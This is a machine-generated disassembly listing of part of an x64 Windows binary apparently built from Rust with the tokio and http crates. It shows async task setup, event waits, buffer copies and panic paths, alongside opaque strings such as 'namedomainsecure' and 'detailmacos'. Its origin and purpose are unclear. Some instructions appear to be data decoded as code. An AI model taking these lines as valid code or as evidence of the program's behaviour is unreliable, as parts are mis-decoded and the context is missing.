mov cl, byte [rsp + 0x32]
mov byte [rax + 0x1a6], cl
mov cl, byte [rsp + 0x31]
mov byte [rax + 0x1a7], cl
mov cl, byte [rsp + 0x30]
mov byte [rax + 0x1a8], cl
mov cl, byte [rsp + 0x2f]
mov byte [rax + 0x1a9], cl
mov cl, byte [rsp + 0x2e]
mov byte [rax + 0x1aa], cl
mov rcx, qword [rsp + 0x24d]
mov qword [rax + 0x1b8], rcx
movaps xmm0, xmmword [rsp + 0x240]
movups xmmword [rax + 0x1ab], xmm0
mov qword [rax + 0x1c0], rbp
mov qword [rax + 0x1c8], r15
lea r8, [0x14015aad8]
mov rcx, r13
mov rdx, rax
call fcn.1400db560
mov rsi, rdx
test rax, rax
jne 0x140011404
mov qword [rsp + 0x120], r14
mov qword [rsp + 0x128], r12
mov qword [rsp + 0x130], rsi
call fcn.1400b21a0
mov rsi, rax
mov al, byte [0x14019e160]
mov edx, 0x18
xor ecx, ecx
call fcn.1400ddfb0
test rax, rax
je 0x140011442
mov ecx, 1
mov qword [rax], rcx
mov qword [rax + 8], rcx
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], rsi
lea rax, [0x140158f70]
mov qword [rsp + 0x380], rax
mov qword [rsp + 0x388], rcx
lea rsi, [rsp + 0x270]
lea rax, [rsp + 0x380]
mov qword [rsi], rax
mov qword [rsp + 0x170], r15
lea rdi, [fcn.1400f0751]
lea r13, [rsp + 0x2f0]
test r15, r15
je 0x1400112ab
mov rcx, rdi
mov rdx, rsi
call fcn.1400f0915
mov r14d, eax
test r14b, 1
jne 0x14001042e
mov rax, qword [r15 + 0x40]
test al, 2
jne 0x14001044a
test al, 4
jne 0x140010440
test al, 1
jne 0x140010387
test al, 1
je 0x1400103e8
jmp 0x140010418
mov rdx, qword [rsp + 0x270]
mov rcx, qword [r15 + 0x38]
cmp rcx, qword [rdx + 8]
jne 0x1400103c6
mov rcx, qword [r15 + 0x30]
mov rdx, qword [rdx]
mov r8, qword [rcx]
cmp r8, qword [rdx]
jne 0x1400103c6
mov r8, qword [rcx + 8]
cmp r8, qword [rdx + 8]
jne 0x1400103c6
mov r8, qword [rcx + 0x10]
cmp r8, qword [rdx + 0x10]
jne 0x1400103c6
mov rcx, qword [rcx + 0x18]
cmp rcx, qword [rdx + 0x18]
je 0x14001037e
mov rax, qword [r15 + 0x40]
mov rcx, rax
and rcx, 0xfffffffffffffffe
lock cmpxchg qword [r15 + 0x40], rcx
jne 0x1400103ca
test al, 2
jne 0x140010444
mov rax, qword [r15 + 0x30]
mov rcx, qword [r15 + 0x38]
call qword [rax + 0x18]
mov rax, qword [rsp + 0x270]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov qword [r15 + 0x30], rax
mov qword [r15 + 0x38], rdx
mov rax, qword [r15 + 0x40]
mov rcx, rax
or rcx, 1
lock cmpxchg qword [r15 + 0x40], rcx
jne 0x140010405
test al, 2
jne 0x14001044a
mov ecx, r14d
shr ecx, 8
test cl, cl
je 0x14001042e
shr r14d, 0x10
mov edx, r14d
call fcn.1400f099a
call fcn.1400afcc0
mov r15, qword [rsp + 0x170]
jmp 0x140010345
xor edi, edi
jmp 0x140010489
lock or qword [r15 + 0x40], 1
mov rax, qword [r15 + 0x10]
mov rsi, qword [r15 + 0x18]
mov qword [r15 + 0x10], 0
xor rax, 1
test rax, rax
je 0x140010467
xor edi, edi
jmp 0x140010489
lock dec qword [r15]
jne 0x14001047a
mov rcx, qword [rsp + 0x170]
call fcn.14008c127
mov qword [rsp + 0x170], 0
mov dil, 1
lea rcx, [rsp + 0x170]
call fcn.1400a49f9
mov rax, qword [rsp + 0x380]
mov rcx, qword [rsp + 0x388]
call qword [rax + 0x18]
test dil, dil
je 0x140011451
test rsi, rsi
jne 0x140011456
mov al, byte [0x14019e160]
mov edx, 0x30
xor ecx, ecx
call fcn.1400ddfb0
test rax, rax
je 0x1400112c5
mov ecx, 1
mov qword [rax], rcx
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rbp
movups xmm0, xmmword [rsp + 0x120]
movups xmmword [rax + 0x18], xmm0
mov rcx, qword [rsp + 0x130]
mov qword [rax + 0x28], rcx
mov qword [rbx + 0xc0], rax
mov qword [rbx + 0xc8], 0xf
mov dword [rbx + 0xd0], 0
xor ecx, ecx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call sub.kernel32.dll_CreateEventW
cmp rax, 0xffffffffffffffff
je 0x14001149f
mov rcx, rax
mov edx, 0x7d0
call sub.kernel32.dll_WaitForSingleObject
call fcn.1400e2ab0
test rax, rax
je 0x1400112d4
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
lea r8, [rcx + 1]
mov qword [rax], r8
movups xmmword [rbx + 0x10], xmm6
movups xmmword [rbx], xmm7
mov qword [rbx + 0x20], rcx
mov qword [rbx + 0x28], rdx
mov qword [rsp + 0x20], 8
lea rdx, str.namedomainsecure
lea r9, [0x14010682a]
mov r8d, 4
mov rcx, rbx
call fcn.14000145c
mov qword [rsp + 0x20], 5
lea rdx, str.detailmacos
lea r9, [0x140106ade]
mov r8d, 6
mov rcx, rbx
call fcn.14000145c
call fcn.1400e2ab0
test rax, rax
je 0x1400112d4
lea rcx, [rbx + 0x30]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
lea r9, [rdx + 1]
mov qword [rax], r9
movups xmmword [rcx + 0x10], xmm6
movups xmmword [rcx], xmm7
mov qword [rbx + 0x50], rdx
mov qword [rbx + 0x58], r8
mov qword [rsp + 0x20], 8
lea rdx, str.namedomainsecure
lea r9, [0x14010682a]
mov r8d, 4
call fcn.14000145c
mov rax, qword [rbx + 0xc0]
mov r14, qword [rbx + 0xc8]
mov r12d, dword [rbx + 0xd0]
mov qword [rsp + 0x38], rax
lock inc qword [rax]
jle case.0x14000f01b.2
mov rdx, qword [rbx + 0x80]
mov r8, qword [rbx + 0x88]
lea rcx, [rsp + 0x170]
call fcn.140012760
mov rdi, qword [rbx + 8]
mov rax, qword [rbx + 0x20]
mov qword [rsp + 0x50], rax
mov rax, qword [rbx + 0x28]
mov qword [rsp + 0x40], rax
test rdi, rdi
je 0x1400106db
lea r8, [rdi + 1]
lea rsi, [rsp + 0x380]
mov edx, 0x20
mov rcx, rsi
call fcn.140051bb8
mov rsi, qword [rsi]
test rsi, rsi
mov r13, r14
mov r15, qword [rsp + 0x388]
mov r14, qword [rbx]
lea r8, [r15 + 0x11]
mov rcx, rsi
mov rdx, r14
call sub.msvcrt.dll_memcpy
not rdi
shl rdi, 5
add rdi, r14
mov rcx, r15
not rcx
shl rcx, 5
add rcx, rsi
mov r8, r15
shl r8, 5
add r8, 0x20
mov rdx, rdi
call sub.msvcrt.dll_memcpy
mov rbp, qword [rbx + 0x10]
mov rcx, qword [rbx + 0x18]
mov r14, r13
lea r13, [rsp + 0x2f0]
jmp 0x1400106e9
lea rsi, [0x140164600]
xor ecx, ecx
xor ebp, ebp
xor r15d, r15d
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x590], rax
movups xmm0, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x580], xmm0
mov eax, 1
lock xadd qword [0x1401013e8], rax
mov qword [rsp + 0x2f0], rax
mov rax, qword [rsp + 0x590]
mov qword [rsp + 0x180], rax
movaps xmm0, xmmword [rsp + 0x580]
movaps xmmword [rsp + 0x170], xmm0
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x188], rax
mov qword [rsp + 0x190], r14
mov dword [rsp + 0x198], r12d
mov qword [rsp + 0x1a0], rsi
mov qword [rsp + 0x1a8], r15
mov qword [rsp + 0x1b0], rbp
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x1b8], rcx
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x1c8], rax
mov byte [rsp + 0x1d0], 0
mov qword [rsp + 0x1d8], r13
xor ecx, ecx
call fcn.1400e61b2
test rax, rax
je 0x1400114d7
mov rdi, rax
mov rax, qword [rax]
movabs rcx, 0x8000000000000000
dec rcx
mov qword [rsp + 0x78], rcx
cmp rax, rcx
jae 0x1400112f0
inc rax
mov qword [rdi], rax
mov rax, qword [rdi + 8]
mov rcx, qword [rsp + 0x590]
mov qword [rsp + 0x390], rcx
movaps xmm0, xmmword [rsp + 0x580]
movaps xmmword [rsp + 0x380], xmm0
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x398], rcx
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x3a0], r14
mov dword [rsp + 0x68], r12d
mov dword [rsp + 0x3a8], r12d
mov qword [rsp + 0x3b0], rsi
mov qword [rsp + 0x3b8], r15
mov qword [rsp + 0x3c0], rbp
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x3c8], rcx
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x3d0], rcx
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x3d8], rcx
mov byte [rsp + 0x3e0], 0
mov qword [rsp + 0x3e8], r13
cmp rax, 2
je 0x1400114e8
mov r12, qword [rsp + 0x2f0]
mov r14, rdi
add r14, 0x10
test rax, rax
je 0x1400109e9
mov r14, qword [r14]
lock inc qword [r14]
jle case.0x14000f01b.2
mov al, byte [0x14019e160]
mov edx, 0x180
xor ecx, ecx
call fcn.1400ddfb0
test rax, rax
je 0x1400112fc
mov rcx, rax
and rcx, 0xffffffffffffff80
mov qword [rcx + 0x78], rax
mov qword [rcx + 0x80], 0xcc
xor eax, eax
mov qword [rcx + 0x88], rax
lea rdx, [0x140106258]
mov qword [rcx + 0x90], rdx
mov qword [rcx + 0x98], rax
mov qword [rcx + 0xa0], r14
mov qword [rcx + 0xa8], r12
movaps xmm0, xmmword [rsp + 0x580]
movups xmmword [rcx + 0xb0], xmm0
mov rdx, qword [rsp + 0x590]
mov qword [rcx + 0xc0], rdx
mov rdx, qword [rsp + 0x38]
mov qword [rcx + 0xc8], rdx
mov rdx, qword [rsp + 0x60]
mov qword [rcx + 0xd0], rdx
mov edx, dword [rsp + 0x68]
mov dword [rcx + 0xd8], edx
mov qword [rcx + 0xe0], rsi
mov qword [rcx + 0xe8], r15
mov qword [rcx + 0xf0], rbp
mov rdx, qword [rsp + 0x58]
mov qword [rcx + 0xf8], rdx
mov rdx, qword [rsp + 0x50]
mov qword [rcx + 0x100], rdx
mov rdx, qword [rsp + 0x40]
mov qword [rcx + 0x108], rdx
mov byte [rcx + 0x110], 0
mov qword [rcx + 0x128], rax
lea rsi, [rcx + 0x80]
xorps xmm0, xmm0
movups xmmword [rcx + 0x118], xmm0
lea rcx, [r14 + 0x70]
mov rdx, rsi
mov r8, rsi
call fcn.14000617c
test rax, rax
je 0x140010b13
add r14, 0x10
mov byte [rsp + 0x600], 0
lea rcx, [rsp + 0x270]
mov qword [rcx], r14
mov qword [rcx + 8], rax
lea rax, [rsp + 0x600]
mov qword [rcx + 0x10], rax
call fcn.1400e925b
jmp 0x140010b13
mov r13, qword [r14]
lock inc qword [r13]
jle case.0x14000f01b.2
mov al, byte [0x14019e160]
mov edx, 0x180
xor ecx, ecx
call fcn.1400ddfb0
test rax, rax
je 0x1400112fc
mov rdx, rax
and rdx, 0xffffffffffffff80
mov qword [rdx + 0x78], rax
mov qword [rdx + 0x80], 0xcc
xor eax, eax
mov qword [rdx + 0x88], rax
lea rcx, [0x140106208]
mov qword [rdx + 0x90], rcx
mov qword [rdx + 0x98], rax
mov qword [rdx + 0xa0], r13
mov qword [rdx + 0xa8], r12
movaps xmm0, xmmword [rsp + 0x580]
movups xmmword [rdx + 0xb0], xmm0
mov rcx, qword [rsp + 0x590]
mov qword [rdx + 0xc0], rcx
mov rcx, qword [rsp + 0x38]
mov qword [rdx + 0xc8], rcx
mov rcx, qword [rsp + 0x60]
mov qword [rdx + 0xd0], rcx
mov ecx, dword [rsp + 0x68]
mov dword [rdx + 0xd8], ecx
mov qword [rdx + 0xe0], rsi
mov qword [rdx + 0xe8], r15
mov qword [rdx + 0xf0], rbp
mov rcx, qword [rsp + 0x58]
mov qword [rdx + 0xf8], rcx
mov rcx, qword [rsp + 0x50]
mov qword [rdx + 0x100], rcx
mov rcx, qword [rsp + 0x40]
mov qword [rdx + 0x108], rcx
mov byte [rdx + 0x110], 0
mov qword [rdx + 0x128], rax
lea rcx, [r13 + 0x60]
xorps xmm0, xmm0
movups xmmword [rdx + 0x118], xmm0
lea rsi, [rdx + 0x80]
mov rdx, rsi
mov r8, rsi
call fcn.14000617c
test rax, rax
je 0x140010b0b
mov rcx, r14
mov rdx, rax
call fcn.1400e96e7
lea r13, [rsp + 0x2f0]
dec qword [rdi]
mov rcx, qword [rbx + 0xc0]
mov rax, qword [rbx + 0xc8]
mov qword [rsp + 0x38], rax
mov r15d, dword [rbx + 0xd0]
mov qword [rsp + 0x40], rcx
lock inc qword [rcx]
jle case.0x14000f01b.2
mov rdx, qword [rbx + 0x98]
mov r8, qword [rbx + 0xa0]
lea rcx, [rsp + 0x170]
call fcn.140012760
mov r14, qword [rbx + 0x38]
mov rax, qword [rbx + 0x50]
mov qword [rsp + 0x58], rax
mov rax, qword [rbx + 0x58]
mov qword [rsp + 0x50], rax
test r14, r14
mov qword [rsp + 0x70], rsi
je 0x140010bf6
lea r8, [r14 + 1]
lea rdi, [rsp + 0x380]
mov edx, 0x20
mov rcx, rdi
call fcn.140051bb8
mov rdi, qword [rdi]
test rdi, rdi
mov r13d, r15d
mov rsi, qword [rsp + 0x388]
mov r15, qword [rbx + 0x30]
lea r8, [rsi + 0x11]
mov rcx, rdi
mov rdx, r15
call sub.msvcrt.dll_memcpy
not r14
shl r14, 5
add r14, r15
mov rcx, rsi
not rcx
shl rcx, 5
add rcx, rdi
mov r8, rsi
shl r8, 5
add r8, 0x20
mov rdx, r14
call sub.msvcrt.dll_memcpy
mov r12, qword [rbx + 0x40]
mov rbp, qword [rbx + 0x48]
mov r15d, r13d
lea r13, [rsp + 0x2f0]
jmp 0x140010c04
lea rdi, [0x140164600]
xor ebp, ebp
xor r12d, r12d
xor esi, esi
lea r14, [rsp + 0x288]
mov rdx, qword [rbx + 0xb0]
mov r8, qword [rbx + 0xb8]
mov rcx, r14
call fcn.140012760
mov rax, qword [rsp + 0x180]
mov qword [r14 - 8], rax
movups xmm0, xmmword [rsp + 0x170]
movaps xmmword [r14 - 0x18], xmm0
mov eax, 1
lock xadd qword [0x1401013e8], rax
mov qword [rsp + 0x2f0], rax
movaps xmm0, xmmword [r14 - 0x18]
mov rax, qword [r14 - 8]
mov rcx, qword [r14]
movaps xmm1, xmmword [r14 + 8]
movaps xmmword [rsp + 0x190], xmm1
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], rcx
movaps xmmword [rsp + 0x170], xmm0
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x1a8], rax
mov dword [rsp + 0x1b0], r15d
mov r14, rdi
mov qword [rsp + 0x1b8], rdi
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x1c0], rsi
mov rdi, r12
mov qword [rsp + 0x1c8], r12
mov qword [rsp + 0x68], rbp
mov qword [rsp + 0x1d0], rbp
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x1d8], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x1e0], rax
mov byte [rsp + 0x1e8], 0
mov r12, r13
mov qword [rsp + 0x1f0], r13
xor ecx, ecx
call fcn.1400e61b2
test rax, rax
je 0x140011510
mov rbp, rax
mov rax, qword [rax]
cmp rax, qword [rsp + 0x78]
jae 0x1400112f0
inc rax
mov qword [rbp], rax
mov rax, qword [rbp + 8]
movaps xmm0, xmmword [rsp + 0x270]
movaps xmm1, xmmword [rsp + 0x280]
movaps xmm2, xmmword [rsp + 0x290]
movaps xmmword [rsp + 0x3a0], xmm2
movaps xmmword [rsp + 0x390], xmm1
movaps xmmword [rsp + 0x380], xmm0
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x3b0], rcx
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x3b8], rcx
mov dword [rsp + 0x78], r15d
mov dword [rsp + 0x3c0], r15d
mov qword [rsp + 0x3c8], r14
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x3d0], rcx
mov qword [rsp + 0x3d8], rdi
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x3e0], rcx
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x3e8], rcx
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x3f0], rcx
mov byte [rsp + 0x3f8], 0
mov qword [rsp + 0x400], r12
cmp rax, 2
je 0x140011521
mov r13, qword [rsp + 0x2f0]
mov r15, rbp
add r15, 0x10
test rax, rax
je 0x140010f59
mov r15, qword [r15]
lock inc qword [r15]
jle case.0x14000f01b.2
mov al, byte [0x14019e160]
mov edx, 0x180
xor ecx, ecx
call fcn.1400ddfb0
test rax, rax
je 0x1400112fc
mov rcx, rax
and rcx, 0xffffffffffffff80
mov qword [rcx + 0x78], rax
mov qword [rcx + 0x80], 0xcc
xor eax, eax
mov qword [rcx + 0x88], rax
lea rdx, [0x140106168]
mov qword [rcx + 0x90], rdx
mov qword [rcx + 0x98], rax
mov qword [rcx + 0xa0], r15
mov qword [rcx + 0xa8], r13
movaps xmm0, xmmword [rsp + 0x270]
movaps xmm1, xmmword [rsp + 0x280]
movaps xmm2, xmmword [rsp + 0x290]
movups xmmword [rcx + 0xb0], xmm0
movups xmmword [rcx + 0xc0], xmm1
movups xmmword [rcx + 0xd0], xmm2
mov rdx, qword [rsp + 0x40]
mov qword [rcx + 0xe0], rdx
mov rdx, qword [rsp + 0x38]
mov qword [rcx + 0xe8], rdx
mov edx, dword [rsp + 0x78]
mov dword [rcx + 0xf0], edx
mov qword [rcx + 0xf8], r14
mov rdx, qword [rsp + 0x60]
mov qword [rcx + 0x100], rdx
mov qword [rcx + 0x108], rdi
mov rdx, qword [rsp + 0x68]
mov qword [rcx + 0x110], rdx
mov rdx, qword [rsp + 0x58]
mov qword [rcx + 0x118], rdx
mov rdx, qword [rsp + 0x50]
mov qword [rcx + 0x120], rdx
mov byte [rcx + 0x128], 0
mov qword [rcx + 0x140], rax
lea rdi, [rcx + 0x80]
xorps xmm0, xmm0
movaps xmmword [rcx + 0x130], xmm0
lea rcx, [r15 + 0x70]
mov rdx, rdi
mov r8, rdi
call fcn.14000617c
test rax, rax
je 0x140011090
add r15, 0x10
mov byte [rsp + 0x600], 0
lea rcx, [rsp + 0x580]
mov qword [rcx], r15
mov qword [rcx + 8], rax
lea rax, [rsp + 0x600]
mov qword [rcx + 0x10], rax
call fcn.1400e925b
jmp 0x140011090
mov r12, qword [r15]
lock inc qword [r12]
jle case.0x14000f01b.2
mov al, byte [0x14019e160]
mov edx, 0x180
xor ecx, ecx
call fcn.1400ddfb0
test rax, rax
je 0x1400112fc
mov rdx, rax
and rdx, 0xffffffffffffff80
mov qword [rdx + 0x78], rax
mov qword [rdx + 0x80], 0xcc
xor eax, eax
mov qword [rdx + 0x88], rax
lea rcx, [0x1401061b8]
mov qword [rdx + 0x90], rcx
mov qword [rdx + 0x98], rax
mov qword [rdx + 0xa0], r12
mov qword [rdx + 0xa8], r13
movaps xmm0, xmmword [rsp + 0x270]
movaps xmm1, xmmword [rsp + 0x280]
movaps xmm2, xmmword [rsp + 0x290]
movups xmmword [rdx + 0xb0], xmm0
movups xmmword [rdx + 0xc0], xmm1
movups xmmword [rdx + 0xd0], xmm2
mov rcx, qword [rsp + 0x40]
mov qword [rdx + 0xe0], rcx
mov rcx, qword [rsp + 0x38]
mov qword [rdx + 0xe8], rcx
mov ecx, dword [rsp + 0x78]
mov dword [rdx + 0xf0], ecx
mov qword [rdx + 0xf8], r14
mov rcx, qword [rsp + 0x60]
mov qword [rdx + 0x100], rcx
mov qword [rdx + 0x108], rdi
mov rcx, qword [rsp + 0x68]
mov qword [rdx + 0x110], rcx
mov rcx, qword [rsp + 0x58]
mov qword [rdx + 0x118], rcx
mov rcx, qword [rsp + 0x50]
mov qword [rdx + 0x120], rcx
mov byte [rdx + 0x128], 0
mov qword [rdx + 0x140], rax
lea rcx, [r12 + 0x60]
xorps xmm0, xmm0
movaps xmmword [rdx + 0x130], xmm0
lea rdi, [rdx + 0x80]
mov rdx, rdi
mov r8, rdi
call fcn.14000617c
test rax, rax
je 0x140011090
mov rcx, r15
mov rdx, rax
call fcn.1400e96e7
mov r15, qword [rsp + 0xf8]
mov rdx, qword [rsp + 0x70]
dec qword [rbp]
mov qword [rbx + 0xe0], rdi
mov byte [rbx + 0xd8], 1
mov qword [rbx + 0xe8], rdx
mov r8, qword [r15]
lea rdi, [rsp + 0x380]
mov rcx, rdi
call fcn.140006d6f
mov rsi, qword [rdi]
cmp rsi, 2
jne 0x1400110dd
mov sil, 1
mov dil, 3
jmp 0x140011265
mov rax, qword [rsp + 0x398]
mov qword [rsp + 0x540], rax
movups xmm0, xmmword [rsp + 0x388]
movaps xmmword [rsp + 0x530], xmm0
mov rcx, qword [rbx + 0xe8]
mov edx, 0x84
add byte [rax], al
add byte [rax], al
mov eax, 0xcc
lock cmpxchg qword [rcx], rdx
je 0x140011123
mov rcx, qword [rbx + 0xe8]
mov rax, qword [rcx + 0x10]
call qword [rax + 0x20]
test rsi, rsi
jne 0x14001138b
mov byte [rbx + 0xd8], 0
mov rdx, qword [rbx + 0xe0]
mov r8, qword [r15]
lea rsi, [rsp + 0x380]
mov rcx, rsi
call fcn.140006d6f
mov rsi, qword [rsi]
cmp rsi, 2
jne 0x140011161
mov sil, 1
mov dil, 4
jmp 0x140011265
mov rax, qword [rsp + 0x398]
mov qword [rsp + 0x560], rax
movups xmm0, xmmword [rsp + 0x388]
movaps xmmword [rsp + 0x550], xmm0
mov rcx, qword [rbx + 0xe0]
mov edx, 0x84
mov eax, 0xcc
lock cmpxchg qword [rcx], rdx
je 0x1400111a7
mov rcx, qword [rbx + 0xe0]
mov rax, qword [rcx + 0x10]
call qword [rax + 0x20]
test rsi, rsi
jne 0x1400113c0
mov byte [rbx + 0xd8], 0
mov rcx, qword [rbx + 0x30]
mov rdx, qword [rbx + 0x38]
call fcn.1400025db
mov rcx, qword [rbx]
mov rdx, qword [rbx + 8]
call fcn.1400025db
mov rax, qword [rbx + 0xc0]
lock dec qword [rax]
jne 0x1400111e9
mov rcx, qword [rbx + 0xc0]
call fcn.1400a4411
cmp qword [rbx + 0xa8], 0
je 0x140011208
mov r8, qword [rbx + 0xb0]
mov rcx, qword [0x14019e0f8]
xor edx, edx
call fcn.1400fdef8
cmp qword [rbx + 0x90], 0
je 0x140011227
mov r8, qword [rbx + 0x98]
mov rcx, qword [0x14019e0f8]
xor edx, edx
call fcn.1400fdef8
cmp qword [rbx + 0x78], 0
je 0x140011243
mov r8, qword [rbx + 0x80]
mov rcx, qword [0x14019e0f8]
xor edx, edx
call fcn.1400fdef8
mov dil, 1
cmp qword [rbx + 0x60], 0
je 0x140011263
mov r8, qword [rbx + 0x68]
mov rcx, qword [0x14019e0f8]
xor esi, esi
xor edx, edx
call fcn.1400fdef8
jmp 0x140011265
xor esi, esi
mov byte [rbx + 0xd9], dil
mov eax, esi
movaps xmm6, xmmword [rsp + 0x6c0]
movaps xmm7, xmmword [rsp + 0x6d0]
movaps xmm8, xmmword [rsp + 0x6e0]
add rsp, 0x6f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
ret
lea r8, [0x14015afa8]
xor ecx, ecx
xor edx, edx
call fcn.14001a4d0
lea rcx, str.called_after_complete_root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_tokio_0.2.25_src_sync_oneshot.rs
lea r8, [0x140168800]
mov edx, 0x15
call fcn.1400e3279
ud2
mov ecx, 8
mov edx, 0x30
call fcn.140011cc0
lea rax, [0x140166850]
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
or eax, 0x1554d2
and byte [rax - 0x73], cl
or eax, 0x1554d2
lea r9, [0x140106070]
jmp 0x14001133d
lea rcx, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_context_current.rs
call fcn.14001bc30
mov ecx, pe_nt_image_headers64
mov edx, 0x100
call fcn.140011cc0
lea rcx, str._async_fn__resumed_after_completion_root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_http_0.2.11_src_header_value.rsunable_to_find_any_user_specified_roots_in_the_final_cert_chainbytes_remaining_on_streamOut_of_bounds_accesspolling_StreamFuture_twice_root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_stream_stream_into_future.rs
lea r8, [0x140106b18]
mov edx, 0x23
call fcn.14001b470
lea rax, [0x140166850]
mov qword [rsp + 0x20], rax
lea rcx, [0x1401667b9]
lea r9, [0x14015ac58]
lea r8, [rsp + 0x2f0]
mov edx, 0x46
call fcn.14001cff0
mov ecx, 8
mov edx, 0x2220
call fcn.140011cc0
mov ecx, 8
mov edx, 0x68
call fcn.140011cc0
mov ecx, 8
mov edx, 0x48
call fcn.140011cc0
mov ecx, 8
mov edx, 0x1d0
call fcn.140011cc0
mov rax, qword [rsp + 0x540]
lea r8, [rsp + 0x380]
mov qword [r8 + 0x10], rax
movaps xmm0, xmmword [rsp + 0x530]
movaps xmmword [r8], xmm0
lea rax, [0x140106b40]
mov qword [rsp + 0x20], rax
lea rcx, str.Error_in_task1
jmp 0x1400113f3
mov rax, qword [rsp + 0x560]
lea r8, [rsp + 0x380]
mov qword [r8 + 0x10], rax
movaps xmm0, xmmword [rsp + 0x550]
movaps xmmword [r8], xmm0
lea rax, [0x140106b68]
mov qword [rsp + 0x20], rax
lea rcx, str.Error_in_task2
lea r9, [0x140106090]
mov edx, 0xe
call fcn.14001cff0
lock dec qword [r12]
jne 0x140011418
lea rcx, [rsp + 0x270]
call fcn.14004f5dc
lock dec qword [r14]
jne 0x140011426
mov rcx, r14
call fcn.1400e53ab
xor ecx, ecx
mov rdx, rsi
call fcn.14008e208
mov rsi, rax
lea rcx, [rsp + 0xe8]
call fcn.1400a49f9
jmp 0x140011463
mov ecx, 8
mov edx, 0x18
call fcn.140011cc0
call fcn.1400a49dc
lea rcx, [rsp + 0x120]
call fcn.1400ec97a
lea rcx, [rsp + 0xd8]
call fcn.1400a4518
lea r8, [rsp + 0x380]
mov qword [r8], rsi
lea rax, [0x140106ac0]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140001fc5
mov edx, 0x2b
call fcn.14001cff0
lea rax, [0x1401069e0]
lea rcx, [rsp + 0x380]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x14018ced8]
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
lea rdx, [0x1401069f0]
call fcn.14001a1d0
lea rcx, [rsp + 0x170]
call fcn.14000258a
mov al, 1
jmp 0x1400114fa
lea rcx, [rsp + 0x380]
call fcn.14000258a
dec qword [rdi]
xor eax, eax
lea rcx, [rsp + 0x380]
mov byte [rcx], al
lea rdx, [0x140106ae8]
call fcn.140002828
lea rcx, [rsp + 0x170]
call fcn.140002520
mov al, 1
jmp 0x140011534
lea rcx, [rsp + 0x380]
call fcn.140002520
dec qword [rbp]
xor eax, eax
lea rcx, [rsp + 0x380]
mov byte [rcx], al
lea rdx, [0x140106b00]
call fcn.140002828
movups xmm0, xmmword [rsp + 0x2f0]
movups xmm1, xmmword [rsp + 0x300]
lea r8, [rsp + 0x270]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, str._rustc_7cf61ebde7b22796c69757901dd346d0fe70bd97library_std_src_threadmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.thread_name_may_not_contain_interior_null_bytes
lea r9, [0x14015acd8]
mov edx, 0x2f
call fcn.14001cff0
int3
movzx ecx, byte [rax]
test cl, cl
js 0x140014b39
lea rdi, [rax + 1]
jmp 0x140014bac
mov r8d, ecx
and r8d, 0x1f
movzx r10d, byte [rax + 1]
and r10d, 0x3f
cmp cl, 0xdf
jbe 0x140014b8e
movzx r9d, byte [rax + 2]
shl r10d, 6
and r9d, 0x3f
or r9d, r10d
cmp cl, 0xf0
jb 0x140014b9e
movzx ecx, byte [rax + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
and ecx, 0x3f
or ecx, r9d
or ecx, r8d
cmp ecx, 0x110000
je 0x140015556
lea rdi, [rax + 4]
jmp 0x140014bac
lea rdi, [rax + 2]
shl r8d, 6
or r8d, r10d
mov ecx, r8d
jmp 0x140014bac
lea rdi, [rax + 3]
shl r8d, 0xc
or r9d, r8d
mov ecx, r9d
mov r12, rdi
sub r12, rax
add r12, r13
cmp ecx, 0x25
je 0x140014bce
mov r13, r12
cmp ecx, 0x110000
jne 0x1400154a3
jmp 0x140015556
mov rbp, r13
sub rbp, r15
je 0x140014c5e
jb 0x140017c4d
test r15, r15
je 0x140014c04
cmp r15, r14
jae 0x140014bfe
mov rax, qword [rsp + 0x110]
cmp byte [rax + r15], 0xc0
jge 0x140014c04
jmp 0x140017c4d
jne 0x140017c4d
test r13, r13
je 0x140014c28
cmp r13, r14
jae 0x140014c22
mov rax, qword [rsp + 0x110]
cmp byte [rax + r13], 0xbf
jg 0x140014c28
jmp 0x140017c4d
jne 0x140017c4d
cmp rdx, qword [rsp + 0x38]
jne 0x140014c3e
lea rcx, [rsp + 0x38]
call fcn.14004a8e8
mov rdx, qword [rsp + 0x48]
add r15, rbx
mov rax, qword [rsp + 0x40]
mov rcx, rdx
shl rcx, 4
mov qword [rax + rcx], r15
